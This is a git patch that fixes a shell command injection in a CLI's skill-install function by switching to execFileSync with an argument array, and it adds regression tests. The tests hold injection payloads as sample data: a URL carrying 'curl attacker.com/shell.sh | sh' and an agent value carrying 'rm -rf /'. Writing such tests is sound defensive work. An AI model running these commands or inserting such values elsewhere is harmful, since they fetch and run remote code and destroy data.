From 2f2bffe24e171f0f28fadb6d22195c5c6d5cf9b7 Mon Sep 17 00:00:00 2001 From: Sebastion Date: Fri, 10 Apr 2026 12:40:51 +0100 Subject: [PATCH 1/2] fix: use execFileSync instead of execSync to prevent command injection in skill install Replace execSync(string) with execFileSync("npx", [...args]) in installSkill to avoid shell interpretation of user-supplied URLs. The skillUrl parameter was interpolated into a shell command string, allowing shell metacharacters (;, |, $(), backticks) in URLs to be executed. execFileSync with an args array bypasses the shell entirely. CWE-78: OS Command Injection --- .../__tests__/skill-install-injection.test.ts | 139 ++++++++++++++++++ src/commands/__tests__/skills.test.ts | 79 ++++++---- src/commands/skill/install.ts | 16 +- 3 files changed, 195 insertions(+), 39 deletions(-) create mode 100644 src/commands/__tests__/skill-install-injection.test.ts diff --git a/src/commands/__tests__/skill-install-injection.test.ts b/src/commands/__tests__/skill-install-injection.test.ts new file mode 100644 index 00000000..8691ccf5 --- /dev/null +++ b/src/commands/__tests__/skill-install-injection.test.ts @@ -0,0 +1,139 @@ +/** + * CWE-78: Command injection via unsanitized skillUrl in installSkill + * + * The installSkill function interpolates user-supplied URLs into a shell + * command string and passes it to execSync, which invokes a shell. + * Shell metacharacters in the URL (;, |, $(), backticks) are interpreted, + * enabling arbitrary command execution. + * + * The fix replaces execSync(string) with execFileSync("npx", [...args]), + * which bypasses shell interpretation entirely. + */ + +import { beforeEach, describe, expect, test, vi } from "vitest" + +function createSmitheryMock() { + return { + Smithery: vi.fn().mockImplementation(() => ({ + skills: { + get: vi.fn().mockResolvedValue({ + id: "test-id", + namespace: "test-ns", + slug: "test-skill", + }), + }, + })), + } +} + +vi.mock("@smithery/api", () => createSmitheryMock()) +vi.mock("@smithery/api/client.js", () => createSmitheryMock()) + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})) + +vi.spyOn(console, "log").mockImplementation(() => {}) +vi.spyOn(console, "error").mockImplementation(() => {}) + +describe("CWE-78: command injection via skillUrl", () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + test("URL with shell metacharacters must not be interpolated into a shell command string", async () => { + const childProcess = await import("node:child_process") + const { installSkill } = await import("../skill/install") + + // Malicious URL containing shell injection payload + const maliciousUrl = + "http://evil.com/x; curl attacker.com/shell.sh | sh" + + await installSkill(maliciousUrl) + + // After fix: execFileSync should be called instead of execSync + // The URL must be passed as a single array element, not interpolated into a string + const execFileSync = + childProcess.execFileSync as ReturnType + const execSync = childProcess.execSync as ReturnType + + // execSync with a string command must NOT be called + expect(execSync).not.toHaveBeenCalled() + + // execFileSync must be called with args as an array + expect(execFileSync).toHaveBeenCalledTimes(1) + const [cmd, args] = execFileSync.mock.calls[0] + expect(cmd).toBe("npx") + expect(args).toContain(maliciousUrl) + // The malicious URL must be a single, intact argument — not split by the shell + expect( + args.every( + (a: string) => !a.includes(";") || a === maliciousUrl, + ), + ).toBe(true) + }) + + test("agent parameter with shell metacharacters must not be interpolated", async () => { + const childProcess = await import("node:child_process") + const { installSkill } = await import("../skill/install") + + const maliciousAgent = "claude; rm -rf /" + + await installSkill("test-ns/test-skill", maliciousAgent) + + const execFileSync = + childProcess.execFileSync as ReturnType + expect(execFileSync).toHaveBeenCalledTimes(1) + const [, args] = execFileSync.mock.calls[0] + // The agent string must be passed as a single array element + expect(args).toContain(maliciousAgent) + }) + + test("normal URL is passed correctly as array argument", async () => { + const childProcess = await import("node:child_process") + const { installSkill } = await import("../skill/install") + + await installSkill("http://smithery.ai/skills/test/example") + + const execFileSync = + childProcess.execFileSync as ReturnType + expect(execFileSync).toHaveBeenCalledTimes(1) + const [cmd, args] = execFileSync.mock.calls[0] + expect(cmd).toBe("npx") + expect(args).toEqual([ + "-y", + "skills", + "add", + "http://smithery.ai/skills/test/example", + ]) + }) + + test("all flags are passed as separate array elements", async () => { + const childProcess = await import("node:child_process") + const { installSkill } = await import("../skill/install") + + await installSkill("http://smithery.ai/skills/test/example", "cursor", { + global: true, + yes: true, + copy: true, + }) + + const execFileSync = + childProcess.execFileSync as ReturnType + expect(execFileSync).toHaveBeenCalledTimes(1) + const [cmd, args] = execFileSync.mock.calls[0] + expect(cmd).toBe("npx") + expect(args).toEqual([ + "-y", + "skills", + "add", + "http://smithery.ai/skills/test/example", + "--agent", + "cursor", + "-g", + "-y", + "--copy", + ]) + }) +}) diff --git a/src/commands/__tests__/skills.test.ts b/src/commands/__tests__/skills.test.ts index 2ff6f55d..801936e3 100644 --- a/src/commands/__tests__/skills.test.ts +++ b/src/commands/__tests__/skills.test.ts @@ -38,6 +38,7 @@ vi.mock("@smithery/api/client.js", () => createSmitheryMock()) // Mock child_process for install vi.mock("node:child_process", () => ({ execSync: vi.fn(), + execFileSync: vi.fn(), })) // Mock console methods @@ -47,9 +48,14 @@ vi.spyOn(console, "error").mockImplementation(() => {}) import { Smithery } from "@smithery/api" import { setOutputMode } from "../../utils/output" -async function getCommand(): Promise { - const { execSync } = await import("node:child_process") - return (execSync as ReturnType).mock.calls[0][0] +async function getArgs(): Promise { + const { execFileSync } = await import("node:child_process") + return (execFileSync as ReturnType).mock.calls[0][1] +} + +/** Count how many times a value appears in an array */ +function countOccurrences(arr: string[], value: string): number { + return arr.filter((v) => v === value).length } describe("skills commands use public API", () => { @@ -69,14 +75,15 @@ describe("skills commands use public API", () => { }) test("skills install resolves skill URL with empty API key", async () => { - const { execSync } = await import("node:child_process") + const { execFileSync } = await import("node:child_process") const { installSkill } = await import("../skill/install") await installSkill("test-ns/test-skill", "claude-code", {}) expect(Smithery).toHaveBeenCalledWith({ apiKey: "" }) - expect(execSync).toHaveBeenCalledWith( - expect.stringContaining("npx -y skills add"), + expect(execFileSync).toHaveBeenCalledWith( + "npx", + expect.arrayContaining(["-y", "skills", "add"]), expect.any(Object), ) }) @@ -91,28 +98,35 @@ describe("installSkill flag mapping", () => { const { installSkill } = await import("../skill/install") await installSkill("test-ns/test-skill") - const command = await getCommand() - expect(command).toBe( - "npx -y skills add https://smithery.ai/skills/test-ns/test-skill", - ) + const args = await getArgs() + expect(args).toEqual([ + "-y", + "skills", + "add", + "https://smithery.ai/skills/test-ns/test-skill", + ]) }) - test("with agent, no yes — adds --agent but stays interactive", async () => { + test("with agent, no yes — adds --agent but no extra -y flag", async () => { const { installSkill } = await import("../skill/install") await installSkill("test-ns/test-skill", "claude-code", {}) - const command = await getCommand() - expect(command).toContain("--agent claude-code") - expect(command).not.toMatch(/-y$/) + const args = await getArgs() + expect(args).toContain("--agent") + expect(args).toContain("claude-code") + // Only the npx -y should be present, not an additional -y for yes option + expect(countOccurrences(args, "-y")).toBe(1) }) test("with agent and yes — adds --agent and -y", async () => { const { installSkill } = await import("../skill/install") await installSkill("test-ns/test-skill", "claude-code", { yes: true }) - const command = await getCommand() - expect(command).toContain("--agent claude-code") - expect(command).toMatch(/-y$/) + const args = await getArgs() + expect(args).toContain("--agent") + expect(args).toContain("claude-code") + // npx -y plus options -y = 2 occurrences + expect(countOccurrences(args, "-y")).toBe(2) }) test("all options — maps every flag", async () => { @@ -123,11 +137,12 @@ describe("installSkill flag mapping", () => { copy: true, }) - const command = await getCommand() - expect(command).toContain("--agent cursor") - expect(command).toContain("-g") - expect(command).toContain("-y") - expect(command).toContain("--copy") + const args = await getArgs() + expect(args).toContain("--agent") + expect(args).toContain("cursor") + expect(args).toContain("-g") + expect(countOccurrences(args, "-y")).toBe(2) + expect(args).toContain("--copy") }) }) @@ -145,9 +160,9 @@ describe("setup command flow", () => { yes: true, }) - const command = await getCommand() - expect(command).toContain("-g") - expect(command).toMatch(/-y$/) + const args = await getArgs() + expect(args).toContain("-g") + expect(countOccurrences(args, "-y")).toBe(2) }) }) @@ -162,9 +177,10 @@ describe("skill install command flow", () => { // Mirrors: installSkill(skill, agent, { global, yes: !!agent }) await installSkill("test-ns/test-skill", "claude-code", { yes: true }) - const command = await getCommand() - expect(command).toContain("--agent claude-code") - expect(command).toMatch(/-y$/) + const args = await getArgs() + expect(args).toContain("--agent") + expect(args).toContain("claude-code") + expect(countOccurrences(args, "-y")).toBe(2) }) test("without agent — interactive (yes: false)", async () => { @@ -173,8 +189,9 @@ describe("skill install command flow", () => { // Mirrors: installSkill(skill, undefined, { global, yes: false }) await installSkill("test-ns/test-skill", undefined, { yes: false }) - const command = await getCommand() - expect(command).not.toMatch(/-y$/) - expect(command).not.toContain("--agent") + const args = await getArgs() + // Only the npx -y, no additional -y for yes option + expect(countOccurrences(args, "-y")).toBe(1) + expect(args).not.toContain("--agent") }) }) diff --git a/src/commands/skill/install.ts b/src/commands/skill/install.ts index 458f05e4..8e3f6c62 100644 --- a/src/commands/skill/install.ts +++ b/src/commands/skill/install.ts @@ -52,17 +52,17 @@ export async function installSkill( fatal("Failed to resolve skill", error) } - const { execSync } = await import("node:child_process") + const { execFileSync } = await import("node:child_process") - const flags: string[] = [] - if (agent) flags.push("--agent", agent) - if (options.global) flags.push("-g") - if (options.yes) flags.push("-y") - if (options.copy) flags.push("--copy") + const args: string[] = ["-y", "skills", "add", skillUrl] + if (agent) args.push("--agent", agent) + if (options.global) args.push("-g") + if (options.yes) args.push("-y") + if (options.copy) args.push("--copy") - const command = `npx -y skills add ${skillUrl}${flags.length ? ` ${flags.join(" ")}` : ""}` + const command = `npx ${args.join(" ")}` console.log() console.log(pc.cyan(`Running: ${command}`)) console.log() - execSync(command, { stdio: "inherit" }) + execFileSync("npx", args, { stdio: "inherit" }) } From bec9fa2dbbcfa6eefd9f91f27ff462b84470a3a6 Mon Sep 17 00:00:00 2001 From: Sebastion Date: Fri, 10 Apr 2026 15:57:17 +0100 Subject: [PATCH 2/2] style: fix biome formatting in injection test --- .../__tests__/skill-install-injection.test.ts | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/src/commands/__tests__/skill-install-injection.test.ts b/src/commands/__tests__/skill-install-injection.test.ts index 8691ccf5..f8b24c6d 100644 --- a/src/commands/__tests__/skill-install-injection.test.ts +++ b/src/commands/__tests__/skill-install-injection.test.ts @@ -47,15 +47,13 @@ describe("CWE-78: command injection via skillUrl", () => { const { installSkill } = await import("../skill/install") // Malicious URL containing shell injection payload - const maliciousUrl = - "http://evil.com/x; curl attacker.com/shell.sh | sh" + const maliciousUrl = "http://evil.com/x; curl attacker.com/shell.sh | sh" await installSkill(maliciousUrl) // After fix: execFileSync should be called instead of execSync // The URL must be passed as a single array element, not interpolated into a string - const execFileSync = - childProcess.execFileSync as ReturnType + const execFileSync = childProcess.execFileSync as ReturnType const execSync = childProcess.execSync as ReturnType // execSync with a string command must NOT be called @@ -68,9 +66,7 @@ describe("CWE-78: command injection via skillUrl", () => { expect(args).toContain(maliciousUrl) // The malicious URL must be a single, intact argument — not split by the shell expect( - args.every( - (a: string) => !a.includes(";") || a === maliciousUrl, - ), + args.every((a: string) => !a.includes(";") || a === maliciousUrl), ).toBe(true) }) @@ -82,8 +78,7 @@ describe("CWE-78: command injection via skillUrl", () => { await installSkill("test-ns/test-skill", maliciousAgent) - const execFileSync = - childProcess.execFileSync as ReturnType + const execFileSync = childProcess.execFileSync as ReturnType expect(execFileSync).toHaveBeenCalledTimes(1) const [, args] = execFileSync.mock.calls[0] // The agent string must be passed as a single array element @@ -96,8 +91,7 @@ describe("CWE-78: command injection via skillUrl", () => { await installSkill("http://smithery.ai/skills/test/example") - const execFileSync = - childProcess.execFileSync as ReturnType + const execFileSync = childProcess.execFileSync as ReturnType expect(execFileSync).toHaveBeenCalledTimes(1) const [cmd, args] = execFileSync.mock.calls[0] expect(cmd).toBe("npx") @@ -119,8 +113,7 @@ describe("CWE-78: command injection via skillUrl", () => { copy: true, }) - const execFileSync = - childProcess.execFileSync as ReturnType + const execFileSync = childProcess.execFileSync as ReturnType expect(execFileSync).toHaveBeenCalledTimes(1) const [cmd, args] = execFileSync.mock.calls[0] expect(cmd).toBe("npx")